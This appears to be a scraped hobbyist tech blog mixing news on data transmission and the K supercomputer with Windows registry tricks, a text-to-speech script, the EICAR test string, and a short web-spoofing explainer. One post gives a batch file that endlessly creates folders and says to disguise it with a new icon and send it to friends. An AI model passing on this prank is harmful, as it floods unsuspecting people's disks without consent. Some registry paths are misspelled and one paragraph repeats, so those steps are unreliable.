world's fastest data transmission

Scientists at Karlsruhe Institute of Technology in Germany have achieved the world’s fastest data transmission at 26 terabits per second (Tbps), using a single laser, over a 50km fibre.with low energy consumption.

it's fast enough to transfer the entire Library of Congress in ten seconds.

"this is the largest line rate ever encoded onto a single light source,” said the scientists in the journal Nature Photonics.

According to ZDNet, the experiment used a single laser to create a long range of pulses, which are known as ‘frequency combs’.

These pulses were then magnified into 325 colour channels via a method called ‘inverse fast Fourier transform,’ before being sent down a 50km cable. Once it reached the other end, an optical fast Fourier transform encoded it back into data.

According to a co-author of the journal Wolfgang Freude,However, the 26 Tbps data transfer is not actually the fastest.
“Already a 100 terabits per second experiment has been demonstrated,” he said, adding that this required 370 lasers, which is highly expensive.

According to a co-author of the journal Wolfgang Freude,However, the 26 Tbps data transfer is not actually the fastest.
“Already a 100 terabits per second experiment has been demonstrated,” he said, adding that this required 370 lasers, which is highly expensive.

world's fastest supercomputer.."K"

A supercomputer being produced by Fujitsu at the RIKEN Advanced Institute for Computational Science campus in Kobe, Japan In June 2011, It is expected to become fully operational in November 2012.
it is located at bulding of RIKEN campus is shown below image.

RIKEN reported that K had become the first supercomputer to exceed 10 petaflops, achieving a LINPACK performance of 10.51 quadrillion computations per second.


As of the November 2011 TOP500 list,

it uses 68,544 2.0GHz 8-core SPARC64 VIIIfx processors packed in 672 cabinets,

for a total of 548,352 cores,

manufactured by Fujitsu with 45 nm CMOS process technology.

Each cabinet contains 96 compute nodes in addition to 6 IO nodes. Each compute node contains a single processor and 16 GB of memory.

the K computer's performance equals "one million linked desktop computers"

The computer's annual running costs are estimated at US$10 million.

The system is still under construction and is scheduled to enter full service in November 2012 with 864 cabinets. 


ammmaazing........isn't it???

How to make thousands of folders in seconds

hello friends..

today I m going to teach a trick on how to make thousands of folders in no time..

sent it to your frnds for fun..bcoz this is not harmful at all..

just follow steps below...

 1) open notepad.

 2) and copy following code in notepad.

   @echo off

   :top

   md %random%

   goto top 

 3) save it personalfolder.bat (name is just for fun..but you can change it as per your wish)

 4) after save it change its icon..

 5) now send it to your friend.. 

change log-on screen background in windows 7

hi...friends..today i m going to write about change log on screen background image.

it is easily possible to customize the Windows 7 logon screen and set your own picture/wallpaper as the background.

follow instructions below to customize the logon screen background.

1) The image you need to set as the background should be a .jpg file and it’s size should not exceed 245KB.

2) You can use any of the photo editing software such as paint, photo shop...to change the format and resolution of your image..

3) once you r done...save it as backgroundDefault.jpg

4) now copy this image to :

C:\Windows\system32\oobe\info\backgrounds

if it does not already exist on your computer you will need to create that path

5) now open Registry Editor( start -> run -> type regedit.

6) now goto:

Hot Key Local Machine\Software\Microsoft\Windows\CurrentVersion\Authentication\
LogonUI\Background

If Background does not exist rightclick LogonUI, select New and then Key, and then name it Background.
Now locate OEMBackground (listed on the right side).
If it does not exist, right-click Background and select New and then DWORD and name it OEMBackground.

7) Double-click on OEMBackground and set the Value Data to 1.

8) Now log-off to see the new logon screen background.

9) if you want to revert back to default background image then just set the Value Data back to 0.

if you like it..then give your feedback.. 

How to Create a folder named "CON" in Windows

you can't create a folder named “con”, “prn”, “nul” “com1″ “com2″ “lpt1″ etc. in windows.

What is the reason for this? Simple, these names represent the internal devices and hence we cannot create folders with the above names.

but it is possible to create these folder using command prompt...

If you want to create then do following.

1)  Go to command prompt

2)  now if you want to create folder in D: drive then type following command in prompt :

        md \\.\d:\con

here “con” can be replaced by any other names such as “prn”, “nul” “com1″ “com2″ “lpt1"....

4) now if you want to delete this folder..

     rd \\.\d:\con  

The folder can only be removed from command prompt.

create bootable Pendrive to install Windows 7

Here is a small and working tutorial to install windows 7 from a bootable USB or Pendrive.
These days most of them have a USB or Pendrive.
So why don’t you try this trick.
Installing Windows 7 using a pendrive is very much faster than that from DVD/CD.
You just need to follow some small steps to do this.
You can keep this pendrive/USB drive for future installation of Windows 7.

Make sure you have a Pendrive or USB drive with a minimum of 4 GB space and you have the Windows 7 installation DVD.

1. Format the Pendrive or USB drive in NTFS format first.

2. From the start menu right click on the command prompt and select “Run as administrator“.

3. Now type the following commands (Press enter key after each command).

4. diskpart. This is to open the disk partition program.

5. Now to show the list of drives type list disk.

6. You can see disk’s listed there. Note down the disk number of your pendrive eg. Disk .

7. Now type SELECT DISK X (where X is the number you noted down for the pendrive from step 5)

8. Now type CLEAN.

9. Now type the following commands by pressing enter after each one.

10. CREATE PARTITION PRIMARY

11. SELECT PARTITION 1 (Assuming your pendrive/ USB drive is 1).

12. ACTIVE

13. FORMAT FS=NTFS

14. ASSIGN

15. EXIT(Now the disk partition program will exit).

Now we need to give some more commands

16. Now insert the Windows 7 Installation DVD and to your DVD drive.

17. Here i am assuming DVD drive as G and Pendrive as I.(Change it accordingly).

18. Now type G:CD BOOT

19. Now type this command BOOTSECT.EXE/NT60 I: to update your USB drive with bootmgr code.

20. Finally copy all the contents from the Windows 7 DVD to your Pendrive. Make sure you don’t cause any       errors.

21. Plug / Insert your pendrive to your PC and restart the system.

22. Now Enter the Bios system accordingly by pressing the key delete.(This may vary some times it will  be      F2 or F12. It depends on the type of your system. Any how during the start up your system will display          which  key to press to enter the Bios).

23. Now select the USB/ Pendrive as the first boot driver.(Set the first boot priority to USB drive.).

24. Now save the settings in Bios and restart and you will be able to Install Windows 7 using that pendrive. 

how to change your processor name

hi..today i m going to show u a trick to change your processor name..

just follow this simple steps:

1) Goto Start -> Run & Type Regedit..

2) Now goto:

HKEY_LOCAL_MACHINE>HARDWARE>DISCRIPTION>SYSTEM>CENTRALPROCESSOR 

3) On the right side right click on the processor name string and write whatever you want….. 

VLC media player trick

i m going to show u a superb trick on vlc media player...

follow steps to perform this..

1) open VLC media player.

2) press ctrl+n

3) now type "screen://" without quotes..same as shown in below figure.

 4) at last press play button..


Now just wait and watch.......nice..isn't it??

How to disable/enable the usage of USB storage device?

USB drives are indeed very useful in these days......... but a user can easily upload viruses affected files to your computer by accidentally or deliberately. you can prevent the users to connect any USB drives in the computer by disabling the ability of "usbstor.sys" (USB driver) to load in system.

Perform the following steps to block the USB storage devices :

1. click on Start button to open "Run" and type "regedit" then press Ok button to open the Registry Editor.

2.  In registry editor locate the given path:

HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ USBSTOR

3. Here select the "USBSTOR" folder and in right side of the registry editor panel find the value with name "Start".

4. Double click on "Start" and then set its value 4 under "Value data" section.

5. Close the Registry editor and restart your computer for changes to apply.

6. when you want to restore the default setting, open the Registry Editor and set its value back to 3.

    

Now again close the Registry editor and restart your computer for changes to apply. 

What is "web spoofing"?

Web Spoofing is Tricking Someone into visiting a Website other than one they intend to visit ,by creating a similar website.
The attacker must somehow lure the victim into the attacker’s false web.

There are several ways to do this.

STEP  1:

1. A Phisher could insert a malicious script inside a product review to attack the user.
2. The Script would modify the host site so that the user believes he/she is interacting with secure site.
3. This technique is also called as  “Cross Scripting.”

Step : 2 :Rewriting the URL:

1. Assuming the attacker’s server is on the machine www.attacker.org, the attacker rewrites a URL  by adding http://www.attacker.org to the front of the URL.
2. Example:
3. http://home.netscape.com                                                                                                        www.attacker.com/http://home.netscape.com

STEP:3

1. Once the attacker’s server has fetched the real document needed to satisfy the request, the attacker rewrites all of the URLs in the document
2. Then the attacker’s server provides the rewritten page to the victim’s browser.
3. If the victim follows a link on the new page, the victim remains trapped in the attacker’s false web.

its working is shown as above..

Beauty of Mathematics

Here i am presenting some mathematics beauty.........just see and enjoy with numbers..




1 x 8 + 1 =  9
12 x 8 + 2 = 9 8
123 x 8 + 3 = 9 8 7
1234 x 8 + 4 = 9 8 7 6
12345 x 8 + 5 = 9 8 7 6 5
123456 x 8 + 6 = 9 8 7 6 5 4
1234567 x 8 + 7 = 9 8 7 6 5 4 3
12345678 x 8 + 8 = 9 8 7 6 5 4 3 2
123456789 x 8 + 9 = 9 8 7 6 5 4 3 2 1 


1 x 9 + 2 = 1 1
12 x 9 + 3 = 1 1 1
123 x 9 + 4 = 1 1 1 1
1234 x 9 + 5 = 1 1 1 1 1
12345 x 9 + 6 = 1 1 1 1 1 1
123456 x 9 + 7 = 1 1 1 1 1 1 1
1234567 x 9 + 8 = 1 1 1 1 1 1 1 1
12345678 x 9 + 9 = 1 1 1 1 1 1 1 1 1
123456789 x 9 +10= 1 1 1 1 1 1 1 1 1 1



1 x 1 = 1
11 x 11 = 121
111 x 111 = 12321
1111 x 1111 = 1234321
11111 x 11111 = 123454321
111111 x 111111 = 12345654321
1111111 x 1111111 = 1234567654321
11111111 x 11111111 = 123456787654321
111111111 x 111111111 = 12345678987654321 


Brilliant, isn't it..?

How to set minimum password length in windows os

By default Windows accepts both short and long passwords as the Windows login password. Some users use extremely short passwords, which can easily be brute forced. So in order to set the minimum number of characters or the minimum length of the password, simply follow the following registry trick-:

1. Launch the Windows Registry Editor i.e. c:\windows\regedit.exe

2. Scroll down to the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network

3. Click on Edit > New DWORD Value.
Name this new DWORD value as MinPwdLen and in the data field, enter the minimum number of characters the password has to be of. One thing to note here is that this value is in Hexadecimal.

Now, Press F5 and your system just became a tiny bit securer but certainly not unhackable.

Convert Text Into Audio Using Notepad

In this post i am going to share a similar notepad trick using which you can convert any text to audio with just a click.

1. Open Notepad file on your Windows PC.

2. Copy and paste the below mentioned code :

Dim msg, sapi
msg=InputBox("Enter your text for conversion–www.techtodaynb.blogspot.com","Tech-today Text-To-Audio Converter")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

3. Save this file with any name with .vbs as extension. For eg. Text-To-Audio.vbs

Thats it ! Your Text to Audio converter is ready to be used. Now open the saved file and key in the text you want to convert and click OK. 

Test Your Anti-Virus using notepad

You can test your anti virus program for its effectiveness using a simple notepad trick. 
Follow the steps below to know more:

1. Open Notepad.

2. Copy the code give below in the notepad file:

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 

3. Save it with an .exe extension like testvirus.exe

As soon as you save this file, your anti virus program will detect the file (virus) immediately and will attempt to delete it. If this happens then your Antivirus is working properly. If not, then its time to look for some other reliable program.